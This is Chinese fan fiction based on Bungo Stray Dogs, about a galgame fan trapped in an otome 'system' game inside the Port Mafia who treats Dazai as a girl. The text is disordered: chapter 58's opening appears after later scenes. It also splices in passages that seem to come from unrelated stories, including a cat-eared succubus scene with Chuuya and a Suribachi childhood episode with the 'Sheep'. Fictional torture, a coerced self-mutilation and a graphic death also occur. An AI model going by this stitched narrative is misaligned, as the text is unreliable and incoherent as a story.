此时,一个光头造型的黑手党匆匆从楼下跑上来,看到在医务室门口似乎是在发呆的望月,松了口气。 “望月,太宰先生让你过去一趟。” “好的。” 望月很快便从与系统的脑内对话中抽身出来,微笑着应答。 注意到对方的表情,望月声音顿了顿,问道。 “太宰小姐今天的心情不好吗?” 太宰先生他什么时候心情好过…… 光头造型的黑手党在心中小声吐槽了一句。 “呃、总之你先过去吧,那边场面可能会有些不妙……” 他委婉地暗示道。 望月也接到了对方的暗示,点了点头。 港口mafia地下一层。 没有窗户,没有太阳,走廊扭曲狭长,昏黄的吊灯则成了唯一光源。 不知是地下的氧气含量低,还是单纯的心理作用,这里总让人有种喘不过气来的窒息感。 地下二层是关押和审讯犯人和卧底的地方,而地下一层的审讯室,则是用来惩罚内部人员的房间。 望月的皮鞋踩在水泥地面上,沉闷的脚步声回荡在幽静的走廊里,最终停在某一间房间前。 “太宰小姐。” 听到熟悉的烦人称呼,太宰治这才不紧不慢地将目光从面前战战兢兢的男人身上挪开,冷漠地盯着门口的望月。空气有些凝固。 当注意到望月脸上缠着的止血纱布时,太宰治的目光稍微顿了顿,然后慢吞吞地挪开。 望月相当有眼力见,朝着太宰背后的其他黑手党们微微点头,然后快步走到太宰治的身边,躬身低声道。 “十分抱歉,我来晚了。” 随着望月的靠近,太宰治轻而易举地嗅到对方身上的消毒水和熟悉的伤药味。 太宰治眸色一沉,脸上的表情却丝毫不显。 他没再多说什么,只是微微启唇。 “好了,进入正题。” “这次行动是你负责的吧,田中君。” 面前的男人本能地打了个冷颤。 “那么,你最好给我一个交代。你的答案关系到自己的结局,是该去地下二层,还是留在这里。” “但不管哪种,我都奉劝你最好说实话。” 太宰治笑了笑,不过在田中看来,那笑容如同恶鬼般可怕。 “你应该了解我的刑讯手段吧?” 芥川当然没能成功。 不过太宰治在之后的几天时间里,脸上一直都是面无表情着,就连他的副手木内都没敢拿工作过去打扰。 太宰治心情不好,自然会有其他人倒霉。 望月还没开心多久,就发现自己珍藏着的学习资料被人一把火烧掉了。 银发魅魔看着那堆灰烬残骸泪眼汪汪。 太宰这个混蛋人类也太记仇了吧! 第 57 章 第五十七章(350地雷加更) * “小泽,你看到望月了吗?” 办公室内,中原中也见自己的秘书进来,出声问道。 望月这几天因为自己的学习资料被太宰烧了而一直耿耿于怀,应该不可能跑去找太宰。 小泽脸上露出一丝疑惑,摇了摇头。 “我也没遇到望月君呢。” “…哦。” 中原中也以肉眼捕捉不到的幅度微微皱了下眉,很快就恢复如初。 ——已经来不及了。 如果太宰治是个普通且正常的人类,他应该安慰望月,让他坚持住支援马上就来。 然而……从天而降的少年带着兜帽,穿着绿色夹克、紧身裤帅气地一脚踹飞了抓住柚杏的不良。 那个家伙甚至被踹到墙上狠狠砸出了大洞。 见此,望月周身的气流缓缓消失。 看来不需要他出手了。 同伴瞬间就被踹飞,使另外两个不良恐惧地看着兜帽少年:“羊之王——!” “你是羊之王!” “喂……是这两个小鬼先偷了我们钱包,而且我们可还什么都没做啊。” “是啊,我们只是想要回钱包,可没有伤害你的小羊!” “……” 少年摘下兜帽露出了一张意外俊秀的脸蛋和赭色头发,他语气不善道:“知道了,你们走吧。” 于是不良们战战兢兢地扶起已经躺在地上的同伴。 “等等,”赭发少年突然出声,吓得不良们一动不动。 “白濑,把钱包还给他们。” “什——?中也,这不可能。”白漱不甘地拒绝,这是他好不容易才到手的钱包。 赭发少年厉声道:“白濑!” 柚杏也开口:“好了,白濑你就听中也的吧。” 白濑忿忿地掏出偷来的钱包。“就连柚杏你也……可恶!” 得到钱包后,两个不良扶起已经躺地上的同伴慌忙离开。 白濑对赭发少年说:“根本不用你出手,我自己也能解决他们的。”那样他辛苦得到的钱包也不用还回去了。 柚杏反倒是兴奋地挽住赭发少年的手臂欢呼:“太棒了,中也!你好厉害!” 赭发少年不自在地甩开她:“你们为什么要偷他们的钱包?我不是说过了吗?钱不够的话告诉我就行,我会解决这些的!” 白濑也撇着嘴不爽道:“就凭你出去打工么?这能有多少钱……我们‘羊’那么多人。” 吵起来了……? 望月迷茫地看着争执不休的少年们。 因为赭发少年从天而降的一脚过于惊人,望月才没有上前打断他处那些不良。原本以为不良走了后他们就不会再挡路了,但没想到他们自己人居然也吵起来了。 “芙?”就连芙芙也忍不住探头看戏。 “那是‘羊’。”太宰治轻声地对望月说。 “是由未成年组成的自卫组织,那个矮个子是‘羊’的首领——‘羊之王’。” 矮个子……?那三个少男少女的身高好像都差不多?不过首领肯定是最强的,所以‘羊之王’应该是赭发少年。 “说起来,他们还邀请过我加入他们呢。” 望月别过头瞟了他一眼:“你为什么没有加入他们?” “你说擂钵街很危险,那么加入他们的自卫组织是个不错的选择吧。” “因为我在等你和芙芙的出现啊,如果我加入他们了,说不定我们就不能像这样命运的相遇啦!” “……好好说话。” “……” “因为很无趣啊,”太宰治恹恹地回答,“那里面都是一群愚蠢、自以为是的小孩子。但就算是小孩子基因里也带着人类的劣性,崇拜力量的同时又狂妄地以为能控制力量,明明都生活在擂钵街了还被过度保护地看不清现实。” “呐,望月,人类就是这样怯懦又贪婪的吧?” “明明是靠首领的庇护才有安稳的生活,却又把首领的庇护当作所当然,全然不知命运其实不被自己掌握。” “看来你很了解他们,其实也考虑过加入的吧?”望月平淡地收回视线。 “欸?”太宰治诧异地看向他的侧脸,“望月意外的很敏锐嘛~没错哦,我当初确实考虑过加入他们的,毕竟我只是一个柔弱的小孩子,有组织的庇护会活的更好。但是没办法啊,我进入他们的大本营后就发现‘羊’组织摇摇欲坠的关系啦。” “小羊们依赖着‘羊之王’,处于更弱小的地位却总对着顶端的首领指手画脚。” “也只有笨蛋才会一直容忍他们吧。” 漫不经心地说完“羊”的内部情况后,他用幽冷地鸢眸凝视着望月:“望月觉得呢?在小羊们的裹挟下前进的‘羊之王’是不是超没劲?” “但那是他自己的选择吧,”望月望着正火大的赭发少年,“既然他已经做出选择了,我们的想法是什么都无所谓吧?” “望月居然是会说出这样的话的人吗,我还以为望月会更冷酷地说‘与我无关’才对呢?”太宰治夸张地捂住嘴表示震惊。 望月疑惑道:“你以为的和我说没有区别吧?”什么叫作‘更冷酷’?不都是一个意思吗? “当然有区别。”太宰漫声说道,却也没有要继续解释的意思。 “芙!”一直在围观远处“羊”们的争吵和自己这边两脚兽谈话的芙芙突然出声。 望月和太宰治随着这声叫唤,齐齐将视线移到了有些犹疑地赭发少年身上。 和白濑争吵完后,赭发少年也注意到了一直待在不远处的两个少年。 犹豫了一会,他还是主动靠近他们:“你们是在这流浪的孩子吗?” “这句话你们已经问过我了哦。”太宰治懒散地回答他。 赭发少年凝神看了他一眼,迟疑问道:“……有么?”他怎么没印象? “是你们组织的其他人问的啦~但是我拒绝咯!” “好吧。” 他转过头问望月:“我之前没见过你,你是刚到擂钵街吗?要不要加入我们‘羊’,在这里未成年的孩子单独一个是很难生活的。” 还没等望月回答,太宰就插话道:“望月可不是一个人,我们是一起的哦!所以他也不会加入‘羊’的!” “?”赭发少年似乎不太相信,“你也不愿意吗?”那个缠着绷带的家伙就算了,给他感觉很糟糕……但这个抱着娃娃的跟女孩子似的孩子,没有人保护的话会活得很艰难吧? “嘛,算了,既然你们是一起的,那再问一遍好了。你们要不要一起加入‘羊’?” 太宰治就像被侵犯领地的猫咪一样嗷嗷叫:“你这个小矮子不要不听人讲话啊!我都说了我和望月是不会加入你们的!” 说完还看向望月,寻求赞同:“对吧,望月?” 虽然他表现的特别直气壮,仿佛望月一定会站在他这边,但是他看向望月的视线中藏着自己都没发现的期待。 望月淡然地收回和太宰治对上的视线,他对赭发少年说:“我对‘羊’不感兴趣。” 不仅是‘羊’组织,还有羊这种温顺的生物,这两者他都不感兴趣。 “好吧,这也是没办法的,”赭发少年也没有过多纠缠,他只是温和地说道,“我叫中原中也,如果你遇到麻烦可以来找我。” 太宰治拉着望月绕过他:“永远都不会找你的~” 和他们擦肩而过的那一瞬,中原中也感觉眼睛被什么闪了一下。 “等等。”他凭着直觉拽住了望月的斗篷。 太宰治的脸色蓦地就阴了下来。 望月低头看了眼自己的斗篷,啊,太宰拉他转身的时候好像让某个宝石露出来了,想不到只是这么一会都被中原中也发现。 于是他冷淡地问:“还有什么事吗?” 中原中也眉头皱的更紧,他看了眼远处等得有些不耐烦的白濑和柚杏,放轻音量说:“你不会就是大家都在传的那个满身宝石的有钱人吧?” “是我。”望月坦然承认。 “喂,你——怎么敢穿这一身出现在这里的!?”即使压低声音也能听出中原中也的难以置信,“不对,你既然是个有钱人干嘛还要来擂钵街?” “这里没你想的那么简单,你还是赶紧离开吧。” “不属于这里的有钱人,离开擂钵街”……,这句话他已经听很多遍了,但这次和别人贪婪的讥笑不一样,是善意的劝导。 于是望月想了想,简洁地回答他:“这里可能有我想寻找的东西。” “……我明白了,你放心,我不会把你身上有宝石的事告诉别人的。” “‘羊’就在那边,那个最大的房子,如果遇到麻烦可以来找我。”中原中也解这种想要寻找什么心情,所以他只是再次强调了他可以帮忙这件事。 “……” 望月没有回答,但中原中也似乎也不需要他的回答,他摆了摆手然后带着白濑和柚杏离开。 回到他们抢占的房屋后,在路上一直沉默的太宰治突然开口:“望月,你要小心那个小矮子。” “他可是发现了你身上有宝石哦~怎么大的诱惑他怎么可能忍得住,说不定那些不会告诉别人的话都是骗你的,目的就是让你放松警惕然后抓你个措手不及呢。” 望月将好不容易可以自由活动的芙芙放到地上,让它舒服地伸展四肢:“他会不会真的替我保密,我不在乎。” “反正他伤不了我。” 太宰治撇着嘴嘟囔:“这不在乎那不在乎的……” “芙!”芙芙抬爪拍了拍沮丧的太宰治,然后甩着尾巴跳上楼梯,回头见太宰治和望月都没有动作,它又叫唤了一声。 “欸?芙芙是要带我们去干什么吗?”太宰治好奇地迈步跟上它。 望月也慢慢走在他们身后。 走到目标的房间后,芙芙就发出了软软的叫声,它停在门前示意太宰治。 太宰治上前打开房门,里面是个干净的房间,床上甚至连被褥这些都有,可以直接睡上去。 “芙芙~”芙芙得意地看着他。 太宰治福至心灵地问:“这是你给我挑的房间吗?” “芙!”白天进入这间屋子后,芙芙可以有认真地巡视在这里,他把这些房间都看了个遍,挑出了最适合睡觉的两间。一间给太宰治,一间给它和望月。 太宰治蹲下身摸了摸芙芙的脑袋,鸢眸弯弯:“谢谢你,芙芙~” “芙~~”将太宰治送到门口后,芙芙又开始给望月带路。 ……嗯,只走了几步就到了,望月的房间在太宰治对面的隔壁! 望月拉开房门,里面是和太宰房间差不多的布置,芙芙把水端得很平。 “芙芙芙!”两个两脚兽都找到了自己的房间,那就应该好好睡觉了,他们这个年纪正是长身体的时候! 望月习以为常地带着芙芙走进房间。 太宰治看他的动作大概也猜到了芙芙的意思,他抱怨地进房间:“这么早就要睡了吗?” “完全睡不着啊。” 太宰治的目光从望月的伤口处快速扫过,所有的信息通过那只眼睛钻入脑海之中。 子弹贯穿肺部,擦过心脏,出血严重,血压、心跳急速下降…… 事实和理智无一不都在告诉着太宰治,就算田中他们带着急救组过来,望月救回来的可能性也微乎甚微。 更何况距离田中他们到达还有十分钟。 已经来不及了。 因此,太宰治只是沉默地站在原地,低头看着望月胸口的鲜血不断蔓延。 人类被子弹打中会立即死掉吗? 不会。大脑是五秒,心脏是十二秒,咽喉是三十秒。 “太宰、太…宰小姐……” 望月倒在地上,每一次说话时胸口的起伏都会让弹孔喷涌出更多的血,又或者堵塞住气管,将声音截断得支离破碎。 听到望月喊到自己的名字,太宰治的身体猛地一顿,像是深冬里的流浪猫,四肢僵硬。 他机械性地将目光从身上的弹孔转向了那张脸。 直到此时,粉发少年的脸上依旧带着笑容,琥珀色的眸子闪烁着金灿灿的星辰般,期待地看着自己。 “幸好这次……我跟过…来了,您没事吧?” “……嗯,没事。” 喉咙异常干涩,沙哑得令太宰治自己都忍不住感到惊讶。 望月的笑容却逐渐变得无奈。 “太…宰小姐,不要露出……这样难过的表情啊。” 他的脸上是什么表情呢? 太宰治挪开了视线,在望月身下犹如潭水般平静的血泊里,看到了自己什么表情都没有的脸。 望月断断续续地说道。 “虽然太宰小姐悲伤的、样子……也很可爱……但我、咳,我还是…更喜欢太宰小姐笑起来的样子。” “……到现在还在想这个吗?” 事到如今,这幅深情款款的模样又有什么意义呢。 太宰治似乎是想嘲讽,扯了扯嘴角。 他不觉得自己是在笑,只是单纯将唇角的肌肉向上提起,然而粉发少年的眼睛猛地变亮,燃起了一种他看不懂的迷之火焰。 望月放在身侧的手微动,朝着他艰难地竖起一个大拇指,脸上的笑容幸福又满足。 “这个凄美的笑容、也很赞…果然太宰小姐的笑容就是最棒的……萌、萌诶……啊、郁娇美少女赛高…” 而太宰依旧没什么反应,沉默地注视着望月。 那双璀璨耀眼的琥珀色眸子之中的光彩,一点一点黯淡下来,最后只倒映着自己茫然困惑的脸。 直到少年胸口不再起伏,太宰治才更清楚地意识到这个事实。 『啊,这个人死了。』 「死亡」这件事对太宰治而言并不沉重,相反轻飘飘过头了。 在他刑讯之下死过不少人,他亲自动手杀死的叛徒也有很多,更不要提龙头战争时的尸横遍野。 敌人、叛徒、陌生人、同伴…… 他见证着一个又一个「死亡」,却觉得无聊,或是说麻木。 太宰治想起在那个腐朽发烂的地方,长者们一日复一日的教诲。 ‘修治少爷,你是津岛家的家主,那些人都会为你死去。为了家族而牺牲,你不需要怜悯和同情,这是他们应该做的事。’ 那个无良医生也笑眯眯地对自己说过。 ‘太宰君,你应该明白,为了利益和组织,必要的牺牲也是在所难免的,这是对于得到胜利的最优解。’ 他的指导者们,不留余力地告诉自己死亡与利益的关系。 太宰依稀想起自己处理过的某个叛徒,虽然对方的脸长什么样已经忘记,却仍记得对方怨恨恶毒的眼神。 “太宰治,像你这样的恶鬼,永远不会有人爱你,更不会有人为了你而死!就算有,那也是利益之下的献祭。” “所以呢?” 这种事情怎么样无所谓吧。 太宰治满不在乎地开了三枪,让下属把那家伙的尸体拖走。 像他这种从骨子里就发黑发烂的家伙,并不在乎什么「爱」与「死」。 现在,望月死了。 『“即便前方是「死亡」,我还是想站在您的身边。”』 太宰治忽然意识到, 原来真的会有人愿意为另一个人无条件地去死吗? 然而这样的人现在消失了。 太宰治的手臂颤了一下,却又立即恢复了平静,平静得如同实在对方的葬礼上悼念一般。 原本没什么感觉的心脏,第一次沉重了起来。 一股莫大的悲哀之意似潮水般席卷而来,几乎把他淹没,窒息得难以喘息。 难过? 他也会感到难过吗? 真好笑,像自己这种家伙居然也会为了部下的死亡而感到悲伤。他以为只有像中也那样充满人性的家伙才会如此。 是为什么呢,因为死掉的是一个好用的下属吗? 嗯啊,毕竟没有人会像望月一样优秀又好用。会为他随身携带绷带,聪明能干,细心体贴;虽然偶尔会说些不明所以的话,但总会给他带来一些新奇又微妙的感受。 所以,自己只是因为觉得少了这样一个好用的下属而感到悲哀吗? 太宰治忽然迷茫了起来,感到手足无措。他很少有这种感觉。 胸口那个窟窿空洞洞的,疯狂地往外滴落着什么;他想要抓起塞回去,却不断从指缝间流逝。 像个迷路的孩子般,只能傻傻地看着面前粉发少年的生命在自己面前一点一点消逝。 太宰治沉默着,在望月的尸体面前蹲下。 放在身侧的手指颤了颤,随后缓慢地抬起,不知以何种心情试图触碰那双失去光彩的琥珀色眸子。 苍白修长的手指在发颤,明明扣下扳机时从不犹豫的手指,此时却在发颤。 然而,在即将触碰到望月的那一秒。 【滴】 耳边忽然响起了一声诡异的提示音。 灯光下漂浮的灰尘,蔓延流淌的鲜血,角落里爬过的虫子,周围像是被某种力量摁下了暂停键。 太宰治感觉自己似乎也受到了影响,思维和身体变得僵硬。 他不受控制地闭上眼。 再次睁开时,眼前的光景消失又再现。 摊开的手掌之上轻搭着另一个人的手 ,属于另一个人的体温透过皮肤,源源不断地汇入掌心。 太宰治微微一愣。 他缓慢地抬起脑袋,手背、脖颈、下巴,再到那张熟悉的微笑。 面前的粉发少年歪了歪脑袋,眉眼弯弯。 “汪。” 读档中,望月脑内身穿御宅服的小人拿着应援扇疯狂摇摆。 ‘太宰小姐太尊了!!升天——’ ‘说起来刚刚那个dead end,我还以为太宰小姐会没什么反应,结果太宰小姐居然露出悲伤的表情,还满足了我的心愿——果然太宰小姐是个内心温柔又柔软的人!话说此处应该有CG啊!’ 【CG判定不是我决定的……】 读档完毕。 望月看着眼前的太宰治,被这美颜暴击的同时,下意识地露出了灿烂的笑容。 “汪。” 然而,眼前的黑发少女却愣在原地,似乎没有反应过来现状。 嗯?和读档前的反应似乎不一样啊。 望月眨了眨眼。 【滴】 【游戏的NPC们都有一套独属于自己的思维编程系统,因此每次读档或重开后的角色行动与反应,可能会发生轻微的变化。】 啊,原来是这样啊。 望月的疑惑顿时烟消云散,脑内小人握拳捶掌。 如果按照系统的说法,每个角色都有自己的思维程序,那整个游戏的编程量未免也太大了吧——这游戏可真厉害。 望月决定主动带起剧情。 他松开了太宰治的手,而是自己站起身,简单掸了掸身上的灰。 “太宰小姐,我们走吧……不过在此之前。” 少年的话音转了个弯。 望月快速地走到趴在地上的光头男面前,用力踩住对方准备掏枪的手。 “啊啊啊——” 比起腹部的血窟窿带来的痛楚,手腕关节在对方脚下的疼痛几乎微不足道,却足以让他的计划落空,发出疯狂又愤怒的吼叫。 望月没在意那么多,果断地从光头男身上搜罗出那把微型手枪,卸下子弹,为保险起见又将手铐反铐在男人的手腕上。 望月这才安心地松了口气。 “嗯,这样的话就没问题了。好了,太宰小姐我们走吧。” 望月笑盈盈地抬起头,却对上太宰治那只晦涩深邃的鸢眸,带着一种难以辨认的复杂又晦涩的情绪。 却又阴沉沉得犹如充满怨气的某种恶鬼,背后散发着浓浓的不明黑色物质,像是某种黑色生物的触手。 “你……” 面前的黑发少女似乎想要说什么,却又忽然吞了回去。 她阴沉着脸,磨了磨后槽牙,像是在忍耐着亲自上来给自己一枪的冲动。 【太宰治好感度-10】 望月和系统看着突然骤降的好感度,一人一统彻底懵逼。 发、发生什么事了吗…… 望月的脸上露出狡黠的笑容。紫色的眸子半眯起,闪烁着某种暧昧的粉色光芒。 肚子好饿。 果然……中也身上的气味闻起来好美味。 好想要再吃一口,再多吃一点,多满足一些他的渴望。 银发魅魔白皙的脸颊不知不觉间染上了潮红,头上的猫耳轻轻颤动着,传达着主人的渴望。 望月忍不住低喘了一声,撒娇道。 “呐,中也。” “请让吾辈吃一口吧喵~” 第 58 章 第五十八章 空气中弥漫着那股若有若无的香味。 这是魅魔处于兴奋状态,无法自控扩散出的魔力。 已经习惯了对方身上气味的中原中也,再次闻到魅魔的香气时,也不由得微微晃神。 “晚上的事情对不起嘛,吾辈又不是故意的……只是想做点家务,让中也高兴一下,只是不小心才搞砸了。” 望月原本撒娇的声音忽然又有些委屈。 【滴】 【-载入中-】 【恭喜您进入「wakuwaku?~横滨都市恋爱物语~超危险doki」简称「横滨危恋」的游戏世界!】 【恋爱系统01竭诚为您服务!】 “……诶?” 这是什么? 望月愣愣地看着眼前的光球,一时间没有反应过来。 他结束上午的学习和家族事务,准备打会儿自己最爱的galgame放松一下,结果刚摁下开始键便眼前一黑; 再次睁眼,就出现在这里。 【经系统评估,您已通关五百部恋爱养成游戏,在攻略游戏上拥有非凡的才能!】 【因此特邀您来体验本游戏!】 听起来很有意思。 不过今天下午他和环还有约——不然他会尝试玩玩看的。 望月露出礼貌的微笑。 “抱歉,我……” 【请先听我念完台词——我们拥有精美的立绘!绝赞的剧情!高自由的世界!多个可攻略角色!】 “……” 望月可耻地心动了。 见对方动摇,光球趁热打铁,介绍得更加卖力。 【除此以外,我们还有最有趣的背景设定——Mafia?卧底?异能力?以日本横滨为舞台,玩家将与攻略对象们展开一段危险又极致的恋爱之旅。】 ……黑手党题材啊,是他还没接触过的类型欸。 望月一脸严肃地思考起放须王环鸽子的可能性。 【这会是凄美的悲情绝恋,还是炙热的浪漫童话,都在你的选择之中!】 【——真的不想试试看吗!】 “但我真的还有很多事要忙……” 望月艰难地开口,试图抵挡诱惑。 【最重要的一点,在游戏的时间与现实无关哦!玩家可以尽情享受游戏时光,不用有任何担心!】 “请让我玩。”秒答。 好家伙,最后的顾虑也没了。 望月的眼中骤然冒出了一股名为死宅之魂的火焰,取代之前的理智与矜持。 是的,望月是个重度galgame游戏爱好者。 明明身为名门望族的望月家次子,相比起其他贵族子弟的马术、插花等高雅娱乐,他的房间里则塞满了与他身份不相称的各种手办和游戏卡带。 好耶!是新的galgame耶! 望月大喜,脸上忍不住露出阿宅的幸福笑容。 好耶!宿主答应了耶! 系统也忍不住大喜,啪地一下摁下了确认按钮。 【滴,玩家[望月]绑定成功!】 没想到绑定的会这么顺利。 系统开始滔滔不绝地介绍起游戏的正式内容。 【请先看我们的绝美立绘!这是您的两位初始攻略对象哦!】 【您必须先攻略其中一位攻略对象,才能开启其他角色路线哦!所以必须先balabala……】 望月看着眼前的立绘,脸上阿宅的微笑逐渐凝固。? 等会儿,这是他的…攻略对象吗? 头戴黑色礼帽的赭发少年,钴蓝色的眸子眼神锐利,散发着一股危险的气息;另一位绑着绷带的黑发少年相貌俊美,鸢色的眸子看不见光。 嗯,立绘很棒,很帅很好看。 望月举起手。 “你好,我有个问题。” 【请说,系统01竭诚为您解答!】 “为什么我的攻略对象,都是男的?” 【因为我们是乙女游戏(otome game)呀~】 ……哦,那告辞了。 望月眼中的高光消失了,面无表情地说道。 “我要退出游戏。” 【诶诶诶?!】 “你们是不是调研错对象了。” “我是galgame玩家,你们是otome game。” “换而言之,我攻略的都是女孩子。” 望月叹了口气,脸上露出了死鱼眼,郑重其事地说道。 “对攻略男人没兴趣。” ——真不好意思,他爱的只有纸片人美少女。 纯白的空间瞬间变得死寂,大概是正在检查自己的评估系统,又或者只是在瞳孔地震。 过了几秒,光球才颤颤巍巍地说道。 【可、可我已经绑定您为唯一宿主了呀。】 “什么时候? 系统沉默地调出了刚刚对方答应参加游戏的视频。 这回轮到望月沉默了 “不能解除吗?”他试探着问道。 【不行不行,和宿主绑定之后,除非完成任务,是无法退出游戏的。】 “……什么任务?” 望月忽然有种不好的预感。 【您、您必须攻略至少五名角色,才能从游戏中脱离,不然会一直停留在这个世界中……】 粉发少年眼神彻底死了。 【您要不、克服克服?】 克服什么?让他去泡男人? 做不到。 “……你们这是诈骗,虚假宣传。” 即便是从小受到过良好的家教,望月此时都想张嘴骂人了。 面对这一乌龙,系统紧急寻找起补救措施。 【必、必须要女孩子吗?我明白了,那就没办法了!】 “要放我出去了吗?” 【这做不到……但在游戏世界里我能做到的事还是很多的!比如打特殊补丁!】 【把攻略对象性转成女孩子,这没问题了吧!】 “可……” 【锵锵,请看!】 系统二话不说,将性转后的角色立绘怼到了望月的脸上。 脑袋似乎被什么东西入侵,晕乎乎的,一时间无法认真思考。 刚刚立绘上两位帅气的少年此时已然变了模样。 皮肤白皙,缠绕着绷带的黑发少女眼神阴郁,带着一种微妙的破碎感;而另一位赭发美少女则微微抬起下巴,身上的女王气场和娇小的身材形成鲜明对比。 正、正中红心!满分! 回过神来,望月立刻变了脸色,在心中肃然起敬,千言万语化作了一句—— “我可以。” …… 【「性别修改」补丁已启动】 【玩家性别认知已做出调整(已对玩家隐藏)】 … 【游戏载入中】 …… 太宰先生今天的心情很糟糕。是翘班跑去自杀结果失败的缘故吗? 站在边缘的黑衣男人们在心中想到。 他们的面前,绑着绷带的黑发少年像只黑猫般,玩弄着手中的黑色手枪。 危险的武器在他修长的手指间随意摆弄着。 而下一秒,黑漆漆的枪口便对准已经遍体鳞伤的男人,砰地一声枪响后,子弹穿过人类的躯体。 木仓响后安静了一秒,男人才爆发出尖锐的哀嚎,声音之中的绝望与痛苦,回荡在审讯室。 一旁的部下直冒冷汗。 太宰治不关心他人的想法,唯一一只裸露在空气中的鸢色眸子漆黑无神,空洞得仿佛找不到任何东西。 “你知道吗,人类在大出血的情况下,身体会变得冰冷;脑袋反而会清醒哦,过去的事情一一浮现,唔,这就是所谓走马灯吧。” “不只是这一个弹孔。接下来,我会不断切断你手脚的静脉,你觉得你能坚持多久呢?” “这是你最后的机会哦……还是说,你和我一样,期待着死亡呢?” 在痛苦的哀鸣,太宰治的声音平静,像是诉说着一件无关紧要的事。 鲜血顺着小腿处的弹孔缓缓流出,在那男人脚下汇聚成一片血泊。 正如太宰所说的那样,象征着生命力的血液不断流逝而出,抓不住的恐惧感比身体的疼痛更为难忍。 本就在拷问下濒临绝望的神经彻底崩溃。 “我、我会说的!我会说的!求求你,不要、不要……” “……” “真无趣啊。” 从审讯室中出来,太宰治脸上的绷带还沾着男人猩红的血,身上的血腥味让其他人都退避三舍。 而太宰治却无所谓,只是对自己身上的气味嫌弃地皱了皱眉,抬步正准备离开。 “您辛苦了。” 太宰治余光撇到一个穿着黑西装的男生。 “新来的?” “是的。我是您的新任秘书望月,已经等候您多时,接下来会负责……” 太宰治并不在意对方的回答,干脆无视了这个新人的存在,神情恹恹地朝着医务室走去。 比起别的事,他的绷带…… “如果您是需要更换绷带的话,我已经为您带过来了。” 望月不知从哪里掏出了两卷绷带,微笑着说道。 “我想您从审讯室出来可能会弄脏,所以来之前先去了趟医务室。需要我帮您更换吗?” “……” 太宰治脚步一顿,这才慢吞吞地回过头。 映入眼帘的是一位穿着黑色西装的男生,樱花般柔软的浅粉色短发微卷,蜜糖似的眸子含着淡淡的笑意,声音温柔。 那抹亮色在周围的黑暗中,显得格格不入。 『聪明的家伙。』 太宰治对这人稍微提起了些兴趣。 黑发少年拿起其中一卷胶带,在指腹间滚动,漂亮的脸上却露出嘲讽般的笑容。 “很不错嘛~你是我的新部下?” “是。” 粉发少年的微笑如春日樱花般柔和。 他抬起手,放在自己的胸口上,似乎发自内心的感慨道。 “——能成为太宰小姐的部下,是我的荣幸。” 太宰把玩着绷带的手一顿。 「太宰……小姐?」 太宰治低头扫视了一眼自己,找不出一丝女性特征。 再抬起头,面前的粉发男生依旧保持着无辜的微笑,疑惑地歪了歪脑袋,似乎不解他的沉默。 『…原来是个瞎子。』 太宰治面无表情地将绷带丢了回去。 “……我在你看来很像女性吗?” 望月愣了一下,脸上的笑容更为灿烂。 眼前沉默的黑发少女披着沉重的黑西装,本就单薄的身形显得更加娇柔,犹如美玉般的皮肤苍白,带着拒人于千里之外的冷漠与淡然。 即便被绷带遮挡住大半张脸,依旧能看出那张精致的脸蛋上,翻滚着浓浓的阴云。 “当然了!如此漂亮的容颜,白皙的肌肤,鸟羽玉似的黑发,宛如白雪姬一般……无论怎么看,太宰小姐都是位相当出色的美人呢。” “……” 原本在附近的黑手党们,也因为望月的话转过脑袋,施以注目礼。 他阴沉着脸扭过头,霎时间众人赶紧摆正了自己的目光。 “怎么了,白雪姬……啊不,太宰小姐?” 【太宰治好感-5】 『……』 他要收回之前的话。 这家伙脑子有病。 太宰治瞬间拉下来的冷脸让所有人后背一凉。 无论是谁都看得出,这位阎王爷本来就不好的心情在望月秘书进来后变得更加糟糕了。 作为太宰的前部下,田中对于太宰治那套刑讯手段再了解不过了。 一想到自己会和那些间谍们有相同的遭遇,冷汗瞬间浸湿了后背的布料。 他立即跪在了地上,脑袋紧贴着地面,冰冷的寒意从水泥地面钻进额头。 “太、太宰先生!请听我的解释!今天的事情的确在意料范围外,我并不知道那群家伙为什么会知道我们的行动路线,提前准备了人伏击。” “我绝对忠诚于港口mafia,不可能出卖情报的!我可以用我的性命发誓!” 太宰治轻啧一声。 “哈……一点长进都没有。所以说,你们这些脑子里塞满烂棉絮的部下跟垃圾有什么区别?除了打扫战场和送死以外简直毫无用处。” 太宰治慢条斯理地将腿搭在另一条腿上,鸢眸没有任何感情地睥睨着跪在自己面前的男人。 他看起来并不在意田中说了什么,一副兴趣缺缺的样子。 “不知道为什么你们每次发誓都用自己的性命,谁会在意这种东西。” “算了,就当你说的是真的吧。” 太宰治哼笑一声。 还没等田中放松下来,面前的黑发少年接下来的话,让他的身体一僵。 “你以为就这样完了吗?……呐,望月君。” 望月立刻理解了太宰治的意思,从脑海中翻找出相关信息。 “袭击者为一个叫做‘莱尔尊’的组织,其组织成员大多为偷渡到横滨的外国人,以越南人为主。” “在龙头战争期间并不活跃,但也蹭着光吃下不少地盘。” 这是他今天该写的报告内容,现在直接当场汇报了。 即便未经书面整理,望月讲得依旧流畅。 “这次任务港口mafia至少损失三箱武器和十多箱烟草、红酒,都是战斗中的损失,具体货物清点还未结束,但无人员伤亡。” “太宰小姐,实际上……” 听到望月说“无人员伤亡”,太宰治本来轻点着手臂的指尖停住。望月接下来还要说什么,却被太宰飞快打断。 “——啊,这些鸡毛蒜皮的损失其实并不重要。” “问题在于,居然被那种无名小卒偷袭成功,这可是打了港口mafia的脸。” “不过今天我不想弄脏衣服和手……要不你自己来吧,田中君?” 太宰治的语调轻快,尾音微微上挑,甜腻的嗓音含着一种危险感。 明明还只是个十七八岁的少年,身上的压迫力却比周围任何一个成年人来得要强烈。 他的话音刚落,房间的空气又变得凝重起来。 “……属、属下明白了。” 田中咽了口口水,颤抖着拿出自己的小刀。 他将左手摁在地上,另一只手握住小刀,攥紧,瞄准左手的小拇指,准备切下去。 小刀的金属面反射出男人动摇的神情,散发着充满恶意的寒光。 其他人下意识屏住了呼吸,心情变得沉重。 虽然作为黑手党,各种血腥场面早就见怪不怪。但是自己的同僚受罚,人类的本能让他们感到恐惧与忌惮。 ——杀鸡儆猴的威慑力。 金属刀刃即将落下,少年的声音响起,随意又漫不经心。 “啊,对了。” 但没有人敢无视太宰治的声音。 所有人的动作都仿佛摁下了暂停键。 叫停了对方行动的太宰治忽然偏过头,不知什么时候收敛起脸上的嘲弄,面无表情地盯着身侧的粉发少年问道。 “望月君,你觉得呢?” 望月正在发呆。 或者说,他正在对着脑内的系统大声尖叫。 